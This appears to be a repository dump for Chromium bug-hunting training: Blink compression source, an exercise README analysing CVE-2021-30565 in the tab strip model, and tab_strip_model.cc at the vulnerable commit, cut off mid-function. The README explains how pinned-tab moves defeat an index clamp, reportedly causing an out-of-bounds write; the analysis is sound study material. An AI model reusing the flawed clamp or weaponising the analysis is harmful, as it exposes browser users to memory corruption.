found in the LICENSE file. #include "third_party/blink/renderer/modules/compression/inflate_transformer.h" #include #include #include #include "third_party/blink/renderer/bindings/core/v8/array_buffer_or_array_buffer_view.h" #include "third_party/blink/renderer/bindings/core/v8/script_promise.h" #include "third_party/blink/renderer/bindings/core/v8/v8_binding_for_core.h" #include "third_party/blink/renderer/bindings/core/v8/v8_uint8_array.h" #include "third_party/blink/renderer/core/streams/transform_stream_default_controller.h" #include "third_party/blink/renderer/core/streams/transform_stream_transformer.h" #include "third_party/blink/renderer/core/typed_arrays/array_buffer_view_helpers.h" #include "third_party/blink/renderer/modules/compression/compression_format.h" #include "third_party/blink/renderer/modules/compression/zlib_partition_alloc.h" #include "third_party/blink/renderer/platform/bindings/exception_state.h" #include "third_party/blink/renderer/platform/bindings/to_v8.h" #include "third_party/blink/renderer/platform/wtf/text/wtf_string.h" #include "v8/include/v8.h" namespace blink { InflateTransformer::InflateTransformer(ScriptState* script_state, CompressionFormat format) : script_state_(script_state), out_buffer_(kBufferSize) { memset(&stream_, 0, sizeof(z_stream)); ZlibPartitionAlloc::Configure(&stream_); constexpr int kWindowBits = 15; constexpr int kUseGzip = 16; int err; switch (format) { case CompressionFormat::kDeflate: err = inflateInit2(&stream_, kWindowBits); break; case CompressionFormat::kGzip: err = inflateInit2(&stream_, kWindowBits + kUseGzip); break; } DCHECK_EQ(Z_OK, err); } InflateTransformer::~InflateTransformer() { if (!was_flush_called_) { inflateEnd(&stream_); } } ScriptPromise InflateTransformer::Transform( v8::Local chunk, TransformStreamDefaultController* controller, ExceptionState& exception_state) { // TODO(canonmukai): Support SharedArrayBuffer. ArrayBufferOrArrayBufferView buffer_source; V8ArrayBufferOrArrayBufferView::ToImpl( script_state_->GetIsolate(), chunk, buffer_source, UnionTypeConversionMode::kNotNullable, exception_state); if (exception_state.HadException()) { return ScriptPromise(); } if (buffer_source.IsArrayBufferView()) { const auto* view = buffer_source.GetAsArrayBufferView().View(); const uint8_t* start = static_cast(view->BaseAddress()); size_t length = view->byteLength(); if (length > std::numeric_limits::max()) { exception_state.ThrowRangeError( "Buffer size exceeds maximum heap object size."); return ScriptPromise(); } Inflate(start, static_cast(length), IsFinished(false), controller, exception_state); return ScriptPromise::CastUndefined(script_state_); } DCHECK(buffer_source.IsArrayBuffer()); const auto* array_buffer = buffer_source.GetAsArrayBuffer(); const uint8_t* start = static_cast(array_buffer->Data()); size_t length = array_buffer->ByteLength(); if (length > std::numeric_limits::max()) { exception_state.ThrowRangeError( "Buffer size exceeds maximum heap object size."); return ScriptPromise(); } Inflate(start, static_cast(length), IsFinished(false), controller, exception_state); return ScriptPromise::CastUndefined(script_state_); } ScriptPromise InflateTransformer::Flush( TransformStreamDefaultController* controller, ExceptionState& exception_state) { DCHECK(!was_flush_called_); Inflate(nullptr, 0u, IsFinished(true), controller, exception_state); inflateEnd(&stream_); was_flush_called_ = true; out_buffer_.clear(); if (!reached_end_) { exception_state.ThrowTypeError("Compressed input was truncated."); } return ScriptPromise::CastUndefined(script_state_); } void InflateTransformer::Inflate(const uint8_t* start, wtf_size_t length, IsFinished finished, TransformStreamDefaultController* controller, ExceptionState& exception_state) { if (reached_end_ && length != 0) { // zlib will ignore data after the end of the stream, so we have to // explicitly throw an error. exception_state.ThrowTypeError("Junk found after end of compressed data."); return; } stream_.avail_in = length; // Zlib treats this pointer as const, so this cast is safe. stream_.next_in = const_cast(start); do { stream_.avail_out = out_buffer_.size(); stream_.next_out = out_buffer_.data(); const int err = inflate(&stream_, finished ? Z_FINISH : Z_NO_FLUSH); if (err != Z_OK && err != Z_STREAM_END && err != Z_BUF_ERROR) { DCHECK_NE(err, Z_STREAM_ERROR); if (err == Z_DATA_ERROR) { exception_state.ThrowTypeError( String("The compressed data was not valid: ") + stream_.msg + "."); } else { exception_state.ThrowTypeError("The compressed data was not valid."); } return; } wtf_size_t bytes = out_buffer_.size() - stream_.avail_out; if (bytes) { controller->enqueue( script_state_, ScriptValue::From(script_state_, DOMUint8Array::Create(out_buffer_.data(), bytes)), exception_state); if (exception_state.HadException()) { return; } } if (err == Z_STREAM_END) { reached_end_ = true; if (stream_.next_in < start + length) { exception_state.ThrowTypeError( "Junk found after end of compressed data."); } return; } } while (stream_.avail_out == 0); } void InflateTransformer::Trace(Visitor* visitor) const { visitor->Trace(script_state_); TransformStreamTransformer::Trace(visitor); } } // namespace blink ================================================ FILE: LEVEL_2/exercise_4/README.md ================================================ # Exercise 4 In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details. ## CVE-2021-30565 I sugget you don't search any report about it to prevents get too much info like patch. ### Details In level 2, we do it without the help of Details ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1210985
-------- ### Set environment after you fetch chromium ```sh git reset --hard e382f185aaee6d4f4a5f8762f1a1ae89bcc0d046 ``` ### Related code [chrome/browser/ui/tabs/tab_strip_model.cc](https://source.chromium.org/chromium/chromium/src/+/e382f185aaee6d4f4a5f8762f1a1ae89bcc0d046:chrome/browser/ui/tabs/tab_strip_model.cc) This time we analysis [`tab`](https://www.chromium.org/user-experience/tabs), a module of chrome. You can read [this](https://www.chromium.org/developers/design-documents/tab-strip-mac) to get info of `tab strip`. tips: You can get help from [CVE-2021-30526](https://bugs.chromium.org/p/chromium/issues/detail?id=1198717) ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer In my cognition, we can focus on `pinned tab`, because I notice this comment ```c++ // Each tab may be pinned. Pinned tabs are locked to the left side of the tab // strip and rendered differently (small tabs with only a favicon). The model // makes sure all pinned tabs are at the beginning of the tab strip. ``` If we can make a pinned tab is not at the left side of the tab strip, what happen? ```c++ int TabStripModel::MoveWebContentsAt(int index, int to_position, bool select_after_move) { to_position = ConstrainMoveIndex(to_position, IsTabPinned(index)); [1] if (index == to_position) return to_position; MoveWebContentsAtImpl(index, to_position, select_after_move); EnsureGroupContiguity(to_position); return to_position; } ====================================================== int TabStripModel::ConstrainMoveIndex(int index, bool pinned_tab) const { return pinned_tab ? base::ClampToRange(index, 0, IndexOfFirstNonPinnedTab() - 1) [2] : base::ClampToRange(index, IndexOfFirstNonPinnedTab(), count() - 1); } ====================================================== template constexpr const T& ClampToRange(const T& value, const T& min, const T& max) { return std::min(std::max(value, min), max); } ``` If we make pinned tab at index 1, and non-pinned tab at 0. Then we move pinned tab to 0, this will trigger `MoveWebContentsAt`. [1] `ConstrainMoveIndex(0, true);`, and [2] `min(1, 0, 0 - 1)`. This will result in an OOB write How can we make a pinned tab that's not at the start of the tab strip? ```c++ void TabStripModel::MoveTabRelative(bool forward) { const int offset = forward ? 1 : -1; // TODO: this needs to be updated for multi-selection. const int current_index = active_index(); absl::optional current_group = GetTabGroupForTab(current_index); int target_index = std::max(std::min(current_index + offset, count() - 1), 0); absl::optional target_group = GetTabGroupForTab(target_index); // If the tab is at a group boundary and the group is expanded, instead of // actually moving the tab just change its group membership. if (current_group != target_group) { if (current_group.has_value()) { UngroupTab(current_index); return; } else if (target_group.has_value()) { // If the tab is at a group boundary and the group is collapsed, treat the // collapsed group as a tab and find the next available slot for the tab // to move to. const TabGroup* group = group_model_->GetTabGroup(target_group.value()); if (group->visual_data()->is_collapsed()) { const gfx::Range tabs_in_group = group->ListTabs(); target_index = forward ? tabs_in_group.end() - 1 : tabs_in_group.start(); } else { GroupTab(current_index, target_group.value()); return; } } } MoveWebContentsAt(current_index, target_index, true); } ``` `TabStripModel::MoveTabRelative` doesn't check whether a tab is pinned, so we can move pinned tab to a group. But a pinned tab typically can't be placed in a group, so the `Groups.move` operation have no check about move pinned tab to index 1 or other. Then the `IndexOfFirstNonPinnedTab` can be 0 at the same time pinned tab index 1.
-------- ================================================ FILE: LEVEL_2/exercise_4/tab_strip_model.cc ================================================ // Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/ui/tabs/tab_strip_model.h" #include #include #include #include #include "base/auto_reset.h" #include "base/containers/flat_map.h" #include "base/metrics/histogram_macros.h" #include "base/metrics/user_metrics.h" #include "base/numerics/ranges.h" #include "base/ranges/algorithm.h" #include "base/scoped_observation.h" #include "base/strings/string_util.h" #include "base/strings/utf_string_conversions.h" #include "base/trace_event/trace_event.h" #include "build/build_config.h" #include "chrome/app/chrome_command_ids.h" #include "chrome/browser/content_settings/host_content_settings_map_factory.h" #include "chrome/browser/defaults.h" #include "chrome/browser/extensions/tab_helper.h" #include "chrome/browser/lifetime/browser_shutdown.h" #include "chrome/browser/profiles/profile.h" #include "chrome/browser/resource_coordinator/tab_helper.h" #include "chrome/browser/send_tab_to_self/send_tab_to_self_desktop_util.h" #include "chrome/browser/send_tab_to_self/send_tab_to_self_util.h" #include "chrome/browser/ui/bookmarks/bookmark_utils.h" #include "chrome/browser/ui/browser.h" #include "chrome/browser/ui/browser_commands.h" #include "chrome/browser/ui/browser_finder.h" #include "chrome/browser/ui/read_later/reading_list_model_factory.h" #include "chrome/browser/ui/tab_ui_helper.h" #include "chrome/browser/ui/tabs/tab_group.h" #include "chrome/browser/ui/tabs/tab_group_model.h" #include "chrome/browser/ui/tabs/tab_strip_model_delegate.h" #include "chrome/browser/ui/tabs/tab_strip_model_observer.h" #include "chrome/browser/ui/tabs/tab_strip_model_order_controller.h" #include "chrome/browser/ui/tabs/tab_utils.h" #include "chrome/browser/ui/web_applications/web_app_dialog_utils.h" #include "chrome/browser/ui/web_applications/web_app_launch_utils.h" #include "chrome/common/url_constants.h" #include "chrome/grit/generated_resources.h" #include "components/content_settings/core/browser/host_content_settings_map.h" #include "components/reading_list/core/reading_list_model.h" #include "components/send_tab_to_self/metrics_util.h" #include "components/tab_groups/tab_group_id.h" #include "components/tab_groups/tab_group_visual_data.h" #include "components/web_modal/web_contents_modal_dialog_manager.h" #include "content/public/browser/render_process_host.h" #include "content/public/browser/render_widget_host.h" #include "content/public/browser/render_widget_host_observer.h" #include "content/public/browser/render_widget_host_view.h" #include "content/public/browser/web_contents.h" #include "content/public/browser/web_contents_observer.h" #include "third_party/perfetto/include/perfetto/tracing/traced_value.h" #include "ui/base/l10n/l10n_util.h" #include "ui/gfx/range/range.h" #include "ui/gfx/text_elider.h" using base::UserMetricsAction; using content::WebContents; namespace { class RenderWidgetHostVisibilityTracker; // Works similarly to base::AutoReset but checks for access from the wrong // thread as well as ensuring that the previous value of the re-entrancy guard // variable was false. class ReentrancyCheck { public: explicit ReentrancyCheck(bool* guard_flag) : guard_flag_(guard_flag) { DCHECK_CURRENTLY_ON(content::BrowserThread::UI); DCHECK(!*guard_flag_); *guard_flag_ = true; } ~ReentrancyCheck() { *guard_flag_ = false; } private: bool* const guard_flag_; }; // Returns true if the specified transition is one of the types that cause the // opener relationships for the tab in which the transition occurred to be // forgotten. This is generally any navigation that isn't a link click (i.e. // any navigation that can be considered to be the start of a new task distinct // from what had previously occurred in that tab). bool ShouldForgetOpenersForTransition(ui::PageTransition transition) { return ui::PageTransitionCoreTypeIs(transition, ui::PAGE_TRANSITION_TYPED) || ui::PageTransitionCoreTypeIs(transition, ui::PAGE_TRANSITION_AUTO_BOOKMARK) || ui::PageTransitionCoreTypeIs(transition, ui::PAGE_TRANSITION_GENERATED) || ui::PageTransitionCoreTypeIs(transition, ui::PAGE_TRANSITION_KEYWORD) || ui::PageTransitionCoreTypeIs(transition, ui::PAGE_TRANSITION_AUTO_TOPLEVEL); } // Intalls RenderWidgetVisibilityTracker when the active tab has changed. std::unique_ptr InstallRenderWigetVisibilityTracker(const TabStripSelectionChange& selection) { if (!selection.active_tab_changed()) return nullptr; content::RenderWidgetHost* track_host = nullptr; if (selection.new_contents && selection.new_contents->GetRenderWidgetHostView()) { track_host = selection.new_contents->GetRenderWidgetHostView() ->GetRenderWidgetHost(); } return std::make_unique(track_host); } // This tracks (and reports via UMA and tracing) how long it takes before a // RenderWidgetHost is requested to become visible. class RenderWidgetHostVisibilityTracker : public content::RenderWidgetHostObserver { public: explicit RenderWidgetHostVisibilityTracker(content::RenderWidgetHost* host) { if (!host || host->GetView()->IsShowing()) return; observation_.Observe(host); TRACE_EVENT_NESTABLE_ASYNC_BEGIN1("ui,latency", "TabSwitchVisibilityRequest", this, "render_widget_host", host); } ~RenderWidgetHostVisibilityTracker() final = default; RenderWidgetHostVisibilityTracker(const RenderWidgetHostVisibilityTracker&) = delete; RenderWidgetHostVisibilityTracker& operator=( const RenderWidgetHostVisibilityTracker&) = delete; private: // content::RenderWidgetHostObserver: void RenderWidgetHostVisibilityChanged(content::RenderWidgetHost* host, bool became_visible) override { // TODO(crbug.com/1198798): DCHECKs are disabled during automated testing on // CrOS and this check failed when tested on an experimental builder. Revert // https://crrev.com/c/2835079 to enable it. See go/chrome-dcheck-on-cros // or http://crbug.com/1113456 for more details. #if !defined(OS_CHROMEOS) DCHECK(became_visible); #endif UMA_HISTOGRAM_CUSTOM_MICROSECONDS_TIMES( "Browser.Tabs.SelectionToVisibilityRequestTime", timer_.Elapsed(), base::TimeDelta::FromMicroseconds(1), base::TimeDelta::FromSeconds(3), 50); TRACE_EVENT_NESTABLE_ASYNC_END0("ui,latency", "TabSwitchVisibilityRequest", this); } void RenderWidgetHostDestroyed(content::RenderWidgetHost* host) override { DCHECK(observation_.IsObservingSource(host)); observation_.Reset(); } base::ScopedObservation observation_{this}; base::ElapsedTimer timer_; }; } // namespace /////////////////////////////////////////////////////////////////////////////// // WebContentsData // An object to own a WebContents that is in a tabstrip, as well as other // various properties it has. class TabStripModel::WebContentsData : public content::WebContentsObserver { public: explicit WebContentsData(std::unique_ptr a_contents); WebContentsData(const WebContentsData&) = delete; WebContentsData& operator=(const WebContentsData&) = delete; // Changes the WebContents that this WebContentsData tracks. std::unique_ptr ReplaceWebContents( std::unique_ptr contents); WebContents* web_contents() { return contents_.get(); } // See comments on fields. WebContents* opener() const { return opener_; } void set_opener(WebContents* value) { DCHECK_NE(value, web_contents()) << "A tab should not be its own opener."; opener_ = value; } void set_reset_opener_on_active_tab_change(bool value) { reset_opener_on_active_tab_change_ = value; } bool reset_opener_on_active_tab_change() const { return reset_opener_on_active_tab_change_; } bool pinned() const { return pinned_; } void set_pinned(bool value) { pinned_ = value; } bool blocked() const { return blocked_; } void set_blocked(bool value) { blocked_ = value; } absl::optional group() const { return group_; } void set_group(absl::optional value) { group_ = value; } void WriteIntoTrace(perfetto::TracedValue context) const { auto dict = std::move(context).WriteDictionary(); dict.Add("web_contents", contents_); dict.Add("pinned", pinned_); dict.Add("blocked", blocked_); } private: // Make sure that if someone deletes this WebContents out from under us, it // is properly removed from the tab strip. void WebContentsDestroyed() override; // The WebContents owned by this WebContentsData. std::unique_ptr contents_; // The opener is used to model a set of tabs spawned from a single parent tab. // The relationship is discarded easily, e.g. when the user switches to a tab // not part of the set. This property is used to determine what tab to // activate next when one is closed. WebContents* opener_ = nullptr; // True if |opener_| should be reset when any active tab change occurs (rather // than just one outside the current tree of openers). bool reset_opener_on_active_tab_change_ = false; // Whether the tab is pinned. bool pinned_ = false; // Whether the tab interaction is blocked by a modal dialog. bool blocked_ = false; // The group that contains this tab, if any. absl::optional group_ = absl::nullopt; }; TabStripModel::WebContentsData::WebContentsData( std::unique_ptr contents) : content::WebContentsObserver(contents.get()), contents_(std::move(contents)) {} std::unique_ptr TabStripModel::WebContentsData::ReplaceWebContents( std::unique_ptr contents) { contents_.swap(contents); Observe(contents_.get()); return contents; } void TabStripModel::WebContentsData::WebContentsDestroyed() { // TODO(erikchen): Remove this NOTREACHED statement as well as the // WebContents observer - this is just a temporary sanity check to make sure // that unit tests are not destroyed a WebContents out from under a // TabStripModel. NOTREACHED(); } // Holds state for a WebContents that has been detached from the tab strip. Will // also handle WebContents deletion if |will_delete| is true. struct TabStripModel::DetachedWebContents { DetachedWebContents(int index_before_any_removals, int index_at_time_of_removal, std::unique_ptr contents, bool will_delete) : contents(std::move(contents)), index_before_any_removals(index_before_any_removals), index_at_time_of_removal(index_at_time_of_removal), will_delete(will_delete) {} DetachedWebContents(const DetachedWebContents&) = delete; DetachedWebContents& operator=(const DetachedWebContents&) = delete; ~DetachedWebContents() = default; DetachedWebContents(DetachedWebContents&&) = default; std::unique_ptr contents; // The index of the WebContents in the original selection model of the tab // strip [prior to any tabs being removed, if multiple tabs are being // simultaneously removed]. const int index_before_any_removals; // The index of the WebContents at the time it is being removed. If multiple // tabs are being simultaneously removed, the index reflects previously // removed tabs in this batch. const int index_at_time_of_removal; // Whether to delete the WebContents after sending notifications. const bool will_delete; }; // Holds all state necessary to send notifications for detached tabs. struct TabStripModel::DetachNotifications { DetachNotifications(WebContents* initially_active_web_contents, const ui::ListSelectionModel& selection_model) : initially_active_web_contents(initially_active_web_contents), selection_model(selection_model) {} DetachNotifications(const DetachNotifications&) = delete; DetachNotifications& operator=(const DetachNotifications&) = delete; ~DetachNotifications() = default; // The WebContents that was active prior to any detaches happening. // // It's safe to use a raw pointer here because the active web contents, if // detached, is owned by |detached_web_contents|. // // Once the notification for change of active web contents has been sent, // this field is set to nullptr. WebContents* initially_active_web_contents = nullptr; // The WebContents that were recently detached. Observers need to be notified // about these. These must be updated after construction. std::vector> detached_web_contents; // The selection model prior to any tabs being detached. const ui::ListSelectionModel selection_model; }; /////////////////////////////////////////////////////////////////////////////// // TabStripModel, public: constexpr int TabStripModel::kNoTab; TabStripModel::TabStripModel(TabStripModelDelegate* delegate, Profile* profile) : delegate_(delegate), profile_(profile) { DCHECK(delegate_); order_controller_ = std::make_unique(this); group_model_ = std::make_unique(this); constexpr base::TimeDelta kTabScrubbingHistogramIntervalTime = base::TimeDelta::FromSeconds(30); last_tab_switch_timestamp_ = base::TimeTicks::Now(); tab_scrubbing_interval_timer_.Start( FROM_HERE, kTabScrubbingHistogramIntervalTime, base::BindRepeating(&TabStripModel::RecordTabScrubbingMetrics, base::Unretained(this))); } TabStripModel::~TabStripModel() { std::vector observers; for (auto& observer : observers_) observer.ModelDestroyed(TabStripModelObserver::ModelPasskey(), this); contents_data_.clear(); order_controller_.reset(); } void TabStripModel::SetTabStripUI(TabStripModelObserver* observer) { DCHECK(!tab_strip_ui_was_set_); std::vector new_observers{observer}; for (auto& old_observer : observers_) new_observers.push_back(&old_observer); observers_.Clear(); for (auto* new_observer : new_observers) observers_.AddObserver(new_observer); observer->StartedObserving(TabStripModelObserver::ModelPasskey(), this); tab_strip_ui_was_set_ = true; } void TabStripModel::AddObserver(TabStripModelObserver* observer) { observers_.AddObserver(observer); observer->StartedObserving(TabStripModelObserver::ModelPasskey(), this); } void TabStripModel::RemoveObserver(TabStripModelObserver* observer) { observer->StoppedObserving(TabStripModelObserver::ModelPasskey(), this); observers_.RemoveObserver(observer); } bool TabStripModel::ContainsIndex(int index) const { return index >= 0 && index < count(); } void TabStripModel::AppendWebContents(std::unique_ptr contents, bool foreground) { InsertWebContentsAt( count(), std::move(contents), foreground ? (ADD_INHERIT_OPENER | ADD_ACTIVE) : ADD_NONE); } int TabStripModel::InsertWebContentsAt( int index, std::unique_ptr contents, int add_types, absl::optional group) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); return InsertWebContentsAtImpl(index, std::move(contents), add_types, group); } std::unique_ptr TabStripModel::ReplaceWebContentsAt( int index, std::unique_ptr new_contents) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); delegate()->WillAddWebContents(new_contents.get()); DCHECK(ContainsIndex(index)); FixOpeners(index); TabStripSelectionChange selection(GetActiveWebContents(), selection_model_); WebContents* raw_new_contents = new_contents.get(); std::unique_ptr old_contents = contents_data_[index]->ReplaceWebContents(std::move(new_contents)); // When the active WebContents is replaced send out a selection notification // too. We do this as nearly all observers need to treat a replacement of the // selected contents as the selection changing. if (active_index() == index) { selection.new_contents = raw_new_contents; selection.reason = TabStripModelObserver::CHANGE_REASON_REPLACED; } TabStripModelChange::Replace replace; replace.old_contents = old_contents.get(); replace.new_contents = raw_new_contents; replace.index = index; TabStripModelChange change(replace); for (auto& observer : observers_) observer.OnTabStripModelChanged(this, change, selection); return old_contents; } std::unique_ptr TabStripModel::DetachWebContentsAt( int index) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); DCHECK_NE(active_index(), kNoTab) << "Activate the TabStripModel by " "selecting at least one tab before " "trying to detach web contents."; WebContents* initially_active_web_contents = GetWebContentsAtImpl(active_index()); DetachNotifications notifications(initially_active_web_contents, selection_model_); std::unique_ptr dwc = std::make_unique( index, index, DetachWebContentsImpl(index, /*create_historical_tab=*/false), /*will_delete=*/false); notifications.detached_web_contents.push_back(std::move(dwc)); SendDetachWebContentsNotifications(¬ifications); return std::move(notifications.detached_web_contents[0]->contents); } std::unique_ptr TabStripModel::DetachWebContentsImpl( int index, bool create_historical_tab) { if (contents_data_.empty()) return nullptr; DCHECK(ContainsIndex(index)); FixOpeners(index); // Ask the delegate to save an entry for this tab in the historical tab // database. WebContents* raw_web_contents = GetWebContentsAtImpl(index); if (create_historical_tab) delegate_->CreateHistoricalTab(raw_web_contents); absl::optional next_selected_index = order_controller_->DetermineNewSelectedIndex(index); UngroupTab(index); std::unique_ptr old_data = std::move(contents_data_[index]); contents_data_.erase(contents_data_.begin() + index); if (empty()) { selection_model_.Clear(); } else { int old_active = active_index(); selection_model_.DecrementFrom(index); ui::ListSelectionModel old_model; old_model = selection_model_; if (index == old_active) { if (!selection_model_.empty()) { // The active tab was removed, but there is still something selected. // Move the active and anchor to the first selected index. selection_model_.set_active( *selection_model_.selected_indices().begin()); selection_model_.set_anchor(selection_model_.active()); } else { DCHECK(next_selected_index.has_value()); // The active tab was removed and nothing is selected. Reset the // selection and send out notification. selection_model_.SetSelectedIndex(next_selected_index.value()); } } } return old_data->ReplaceWebContents(nullptr); } void TabStripModel::SendDetachWebContentsNotifications( DetachNotifications* notifications) { // Sort the DetachedWebContents in decreasing order of // |index_before_any_removals|. This is because |index_before_any_removals| is // used by observers to update their own copy of TabStripModel state, and each // removal affects subsequent removals of higher index. std::sort(notifications->detached_web_contents.begin(), notifications->detached_web_contents.end(), [](const std::unique_ptr& dwc1, const std::unique_ptr& dwc2) { return dwc1->index_before_any_removals > dwc2->index_before_any_removals; }); TabStripModelChange::Remove remove; for (auto& dwc : notifications->detached_web_contents) { remove.contents.push_back({dwc->contents.get(), dwc->index_before_any_removals, dwc->will_delete}); } TabStripModelChange change(std::move(remove)); TabStripSelectionChange selection; selection.old_contents = notifications->initially_active_web_contents; selection.new_contents = GetActiveWebContents(); selection.old_model = notifications->selection_model; selection.new_model = selection_model_; selection.reason = TabStripModelObserver::CHANGE_REASON_NONE; selection.selected_tabs_were_removed = std::any_of( notifications->detached_web_contents.begin(), notifications->detached_web_contents.end(), [¬ifications](auto& dwc) { return notifications->selection_model.IsSelected( dwc->index_before_any_removals); }); { auto visibility_tracker = empty() ? nullptr : InstallRenderWigetVisibilityTracker(selection); for (auto& observer : observers_) observer.OnTabStripModelChanged(this, change, selection); } for (auto& dwc : notifications->detached_web_contents) { if (dwc->will_delete) { // This destroys the WebContents, which will also send // WebContentsDestroyed notifications. dwc->contents.reset(); } } if (empty()) { for (auto& observer : observers_) observer.TabStripEmpty(); } } void TabStripModel::ActivateTabAt(int index, UserGestureDetails user_gesture) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); DCHECK(ContainsIndex(index)); TRACE_EVENT0("ui", "TabStripModel::ActivateTabAt"); // Maybe increment count of tabs 'scrubbed' by mouse or key press for // histogram data. if (user_gesture.type == GestureType::kMouse || user_gesture.type == GestureType::kKeyboard) { constexpr base::TimeDelta kMaxTimeConsideredScrubbing = base::TimeDelta::FromMilliseconds(1500); base::TimeDelta elapsed_time_since_tab_switch = base::TimeTicks::Now() - last_tab_switch_timestamp_; if (elapsed_time_since_tab_switch <= kMaxTimeConsideredScrubbing) { if (user_gesture.type == GestureType::kMouse) ++tabs_scrubbed_by_mouse_press_count_; else if (user_gesture.type == GestureType::kKeyboard) ++tabs_scrubbed_by_key_press_count_; } } last_tab_switch_timestamp_ = base::TimeTicks::Now(); TabSwitchEventLatencyRecorder::EventType event_type; switch (user_gesture.type) { case GestureType::kMouse: event_type = TabSwitchEventLatencyRecorder::EventType::kMouse; break; case GestureType::kKeyboard: event_type = TabSwitchEventLatencyRecorder::EventType::kKeyboard; break; case GestureType::kTouch: event_type = TabSwitchEventLatencyRecorder::EventType::kTouch; break; case GestureType::kWheel: event_type = TabSwitchEventLatencyRecorder::EventType::kWheel; break; default: event_type = TabSwitchEventLatencyRecorder::EventType::kOther; break; } tab_switch_event_latency_recorder_.BeginLatencyTiming(user_gesture.time_stamp, event_type); ui::ListSelectionModel new_model = selection_model_; new_model.SetSelectedIndex(index); SetSelection(std::move(new_model), user_gesture.type != GestureType::kNone ? TabStripModelObserver::CHANGE_REASON_USER_GESTURE : TabStripModelObserver::CHANGE_REASON_NONE, /*triggered_by_other_operation=*/false); } void TabStripModel::RecordTabScrubbingMetrics() { UMA_HISTOGRAM_COUNTS_10000("Tabs.ScrubbedInInterval.MousePress", tabs_scrubbed_by_mouse_press_count_); UMA_HISTOGRAM_COUNTS_10000("Tabs.ScrubbedInInterval.KeyPress", tabs_scrubbed_by_key_press_count_); tabs_scrubbed_by_mouse_press_count_ = 0; tabs_scrubbed_by_key_press_count_ = 0; } int TabStripModel::MoveWebContentsAt(int index, int to_position, bool select_after_move) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); DCHECK(ContainsIndex(index)); to_position = ConstrainMoveIndex(to_position, IsTabPinned(index)); if (index == to_position) return to_position; MoveWebContentsAtImpl(index, to_position, select_after_move); EnsureGroupContiguity(to_position); return to_position; } void TabStripModel::MoveSelectedTabsTo(int index) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); int total_pinned_count = IndexOfFirstNonPinnedTab(); int selected_pinned_count = 0; const ui::ListSelectionModel::SelectedIndices& selected_indices = selection_model_.selected_indices(); int selected_count = static_cast(selected_indices.size()); for (auto selection : selected_indices) { if (IsTabPinned(selection)) selected_pinned_count++; } // To maintain that all pinned tabs occur before non-pinned tabs we move them // first. if (selected_pinned_count > 0) { MoveSelectedTabsToImpl( std::min(total_pinned_count - selected_pinned_count, index), 0u, selected_pinned_count); if (index > total_pinned_count - selected_pinned_count) { // We're being told to drag pinned tabs to an invalid location. Adjust the // index such that non-pinned tabs end up at a location as though we could // move the pinned tabs to index. See description in header for more // details. index += selected_pinned_count; } } if (selected_pinned_count == selected_count) return; // Then move the non-pinned tabs. MoveSelectedTabsToImpl(std::max(index, total_pinned_count), selected_pinned_count, selected_count - selected_pinned_count); } void TabStripModel::MoveGroupTo(const tab_groups::TabGroupId& group, int to_index) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); DCHECK_NE(to_index, kNoTab); gfx::Range tabs_in_group = group_model_->GetTabGroup(group)->ListTabs(); DCHECK_GT(tabs_in_group.length(), 0u); int from_index = tabs_in_group.start(); if (to_index < from_index) from_index = tabs_in_group.end() - 1; for (size_t i = 0; i < tabs_in_group.length(); ++i) MoveWebContentsAtImpl(from_index, to_index, false); MoveTabGroup(group); } WebContents* TabStripModel::GetActiveWebContents() const { return GetWebContentsAt(active_index()); } WebContents* TabStripModel::GetWebContentsAt(int index) const { if (ContainsIndex(index)) return GetWebContentsAtImpl(index); return nullptr; } int TabStripModel::GetIndexOfWebContents(const WebContents* contents) const { for (size_t i = 0; i < contents_data_.size(); ++i) { if (contents_data_[i]->web_contents() == contents) return i; } return kNoTab; } void TabStripModel::UpdateWebContentsStateAt(int index, TabChangeType change_type) { DCHECK(ContainsIndex(index)); for (auto& observer : observers_) observer.TabChangedAt(GetWebContentsAtImpl(index), index, change_type); } void TabStripModel::SetTabNeedsAttentionAt(int index, bool attention) { DCHECK(ContainsIndex(index)); for (auto& observer : observers_) observer.SetTabNeedsAttentionAt(index, attention); } void TabStripModel::CloseAllTabs() { ReentrancyCheck reentrancy_check(&reentrancy_guard_); // Set state so that observers can adjust their behavior to suit this // specific condition when CloseWebContentsAt causes a flurry of // Close/Detach/Select notifications to be sent. closing_all_ = true; std::vector closing_tabs; closing_tabs.reserve(count()); for (int i = count() - 1; i >= 0; --i) closing_tabs.push_back(GetWebContentsAt(i)); InternalCloseTabs(closing_tabs, CLOSE_CREATE_HISTORICAL_TAB); } void TabStripModel::CloseAllTabsInGroup(const tab_groups::TabGroupId& group) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); delegate_->CreateHistoricalGroup(group); gfx::Range tabs_in_group = group_model_->GetTabGroup(group)->ListTabs(); if (static_cast(tabs_in_group.length()) == count()) closing_all_ = true; std::vector closing_tabs; closing_tabs.reserve(tabs_in_group.length()); for (uint32_t i = tabs_in_group.end(); i > tabs_in_group.start(); --i) closing_tabs.push_back(GetWebContentsAt(i - 1)); InternalCloseTabs(closing_tabs, CLOSE_CREATE_HISTORICAL_TAB); } bool TabStripModel::CloseWebContentsAt(int index, uint32_t close_types) { DCHECK(ContainsIndex(index)); WebContents* contents = GetWebContentsAt(index); return InternalCloseTabs(base::span(&contents, 1), close_types); } bool TabStripModel::TabsAreLoading() const { for (const auto& data : contents_data_) { if (data->web_contents()->IsLoading()) return true; } return false; } WebContents* TabStripModel::GetOpenerOfWebContentsAt(int index) { DCHECK(ContainsIndex(index)); return contents_data_[index]->opener(); } void TabStripModel::SetOpenerOfWebContentsAt(int index, WebContents* opener) { DCHECK(ContainsIndex(index)); // The TabStripModel only maintains the references to openers that it itself // owns; trying to set an opener to an external WebContents can result in // the opener being used after its freed. See crbug.com/698681. DCHECK(!opener || GetIndexOfWebContents(opener) != kNoTab) << "Cannot set opener to a web contents not owned by this tab strip."; contents_data_[index]->set_opener(opener); } int 